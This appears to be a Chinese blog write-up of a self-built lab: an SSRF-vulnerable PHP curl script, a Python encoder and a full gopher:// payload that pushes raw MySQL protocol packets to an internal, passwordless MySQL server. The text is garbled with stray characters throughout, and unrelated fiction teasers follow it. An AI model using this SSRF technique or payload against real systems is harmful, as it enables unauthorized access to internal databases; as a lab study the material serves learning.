gopher 協(xié)議攻擊內(nèi)網(wǎng) mysql

本地測試

一開始使用的是 centos 6.5 的虛擬機

后來發(fā)現(xiàn)我的 curl 為 7.19.7 版本文兢,不支持 gopher 協(xié)議

但是都失敗了..

如果有 centos 6.5 升級 curl 版本成功的請告訴我塔逃!

環(huán)境搭建

失敗了就只能慢慢的搭環(huán)境了,一時腦抽想體驗一下 docker-compose盈厘,就去裝了 dnmp(docker+nginx+mysql+php) 很棒的一個項目

不過默認 php_curl 擴展沒有打開,需要手動開啟,否則會報錯 curl_init 函數(shù)未定義

我的環(huán)境大概就成了這樣:

  • 主機 80 端口映射到了 nginx 容器孟岛,3306 端口映射到了 mysql 容器
  • 容器內(nèi)則需要通過 ip 172.19.0.1 來訪問到主機

nginx 容器內(nèi)放一個 獲取外部資源的 curl

<?php
if(isset($_GET["url"])) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
        // curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_exec($ch);
        curl_close($ch);
}
?>

進行本地測試

image.png

成功通過 gopher 協(xié)議將數(shù)據(jù)傳送到了 2333 端口

遠程測試

1533999437946.png

抓包

使用 tcpdump 抓包

為方便抓包,mysql -h127.0.0.1 -uroot -p 指定使用 TCP/IP 套接字,否則會使用 unix 套接字

在 mysql 的認證階段渠羞,如果有密碼斤贰,那么服務端會返回一個 salt 來進行密碼認證

因為我們是直接發(fā)送數(shù)據(jù)流沒辦法與服務端交互,因此 只能是空密碼

數(shù)據(jù)處理

將原始數(shù)據(jù)轉(zhuǎn)換成類似 url 的格式

#!/usr/bin/env python2
# coding: utf-8
import urllib

s = """5000000185a60f0000000001210000000000000000000000000000000000000000000000746573740014d07fd833aedda1666a97d3474aa85f399659626f6d7973716c5f6e61746976655f70617373776f726400
210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031
0f0000000373686f7720646174616261736573
0100000001"""

s = "".join(s.split())

def encode(s):
    a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]
    return "gopher://127.0.0.1:3306/_%" + "%".join(a)

s = encode(s)
print "[+ local]", s

s = urllib.quote(s)
print "[+ url]", s

本機測試

1534000335933.png

遠程測試

最終 payload 為

curl -vv ssrf/?url=gopher%3A//172.19.0.1%3A3306/_%25b0%2500%2500%2501%2585%25a6%253f%2520%2500%2500%2500%2501%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2573%2503%255f%256f%2573%2510%2564%2565%2562%2569%2561%256e%252d%256c%2569%256e%2575%2578%252d%2567%256e%2575%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2506%2531%2532%2531%2530%2535%2537%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2507%2531%2530%252e%2531%252e%2532%2539%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501 --output -

可以成功

1534000725105.png

許多許多坑

大概是昨晚沒睡好.. 一天腦子短路

  1. 昨天用 kali 和另一個虛擬機(centos)來搞次询,搞了半天發(fā)現(xiàn)是 curl 版本太低荧恍,不支持 gopher 協(xié)議

  2. 然后想把 curl 版本升上去,一晚都沒睡好屯吊,還tmd失敗了

  3. 第二天起來拿 docker-compose 搭了個 環(huán)境送巡,一開始測試沒有返回數(shù)據(jù),最坑的是 nginx 還tmd返回 200 OK盒卸,讓我一度懷疑人生授艰,檢查 docker-compose 組件關(guān)系,最后發(fā)現(xiàn)是 php curl_init 函數(shù)未定義

  4. 這次就是 php_curl 擴展沒有開世落,打開一下淮腾,又是一頓搜索

  5. 搭好了測試,本地測試炸了屉佳,遠程測試也炸谷朝,一度懷疑我的 payload 有問題,又是檢查 url格式 又是重新抓包

  6. 最后問題在于 nginx 服務器的 127.0.0.1 并沒有指向我的主機..

    nginx 裝在 docker 中

    主機 80 端口映射到了 nginx 容器武花,3306 端口映射到了 mysql 容器圆凰,因此可以直接 用 127.0.0.1 訪問

    但是 用于測試的 2333 端口并沒有進行映射,因此 nc 主機 de

    127.0.0.1:2333 對于 nginx 的 127.0.0.1:2333 來說 并沒有什么卵用

現(xiàn)在想想体箕,當時懶不想去配日志专钉,猜來猜去才弄出這么多事情,得

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末累铅,一起剝皮案震驚了整個濱河市跃须,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌娃兽,老刑警劉巖菇民,帶你破解...
    沈念sama閱讀 218,204評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異投储,居然都是意外死亡乌询,警方通過查閱死者的電腦和手機乌逐,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,091評論 3 395
  • 文/潘曉璐 我一進店門稿静,熙熙樓的掌柜王于貴愁眉苦臉地迎上來州刽,“玉大人,你說我怎么就攤上這事勋眯∮の啵” “怎么了壁涎?”我有些...
    開封第一講書人閱讀 164,548評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長志秃。 經(jīng)常有香客問我怔球,道長,這世上最難降的妖魔是什么浮还? 我笑而不...
    開封第一講書人閱讀 58,657評論 1 293
  • 正文 為了忘掉前任竟坛,我火速辦了婚禮,結(jié)果婚禮上钧舌,老公的妹妹穿的比我還像新娘担汤。我一直安慰自己,他們只是感情好洼冻,可當我...
    茶點故事閱讀 67,689評論 6 392
  • 文/花漫 我一把揭開白布崭歧。 她就那樣靜靜地躺著,像睡著了一般撞牢。 火紅的嫁衣襯著肌膚如雪率碾。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,554評論 1 305
  • 那天屋彪,我揣著相機與錄音所宰,去河邊找鬼。 笑死畜挥,一個胖子當著我的面吹牛仔粥,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播蟹但,決...
    沈念sama閱讀 40,302評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼躯泰,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了华糖?” 一聲冷哼從身側(cè)響起麦向,我...
    開封第一講書人閱讀 39,216評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎缅阳,沒想到半個月后磕蛇,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,661評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡十办,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,851評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了超棺。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片向族。...
    茶點故事閱讀 39,977評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖棠绘,靈堂內(nèi)的尸體忽然破棺而出件相,到底是詐尸還是另有隱情再扭,我是刑警寧澤,帶...
    沈念sama閱讀 35,697評論 5 347
  • 正文 年R本政府宣布夜矗,位于F島的核電站泛范,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏紊撕。R本人自食惡果不足惜罢荡,卻給世界環(huán)境...
    茶點故事閱讀 41,306評論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望对扶。 院中可真熱鬧区赵,春花似錦、人聲如沸浪南。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,898評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽络凿。三九已至骡送,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間絮记,已是汗流浹背各谚。 一陣腳步聲響...
    開封第一講書人閱讀 33,019評論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留到千,地道東北人昌渤。 一個月前我還...
    沈念sama閱讀 48,138評論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像憔四,于是被迫代替她去往敵國和親膀息。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,927評論 2 355

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理了赵,服務發(fā)現(xiàn)潜支,斷路器,智...
    卡卡羅2017閱讀 134,657評論 18 139
  • 引言 這段時候主攻云服務 服務器 CentOS 文件目錄 操作 基本操作: Docker簡介: 安裝Docker:...
    采香行處蹙連錢閱讀 1,191評論 0 1
  • 珞歷閱讀 187評論 0 0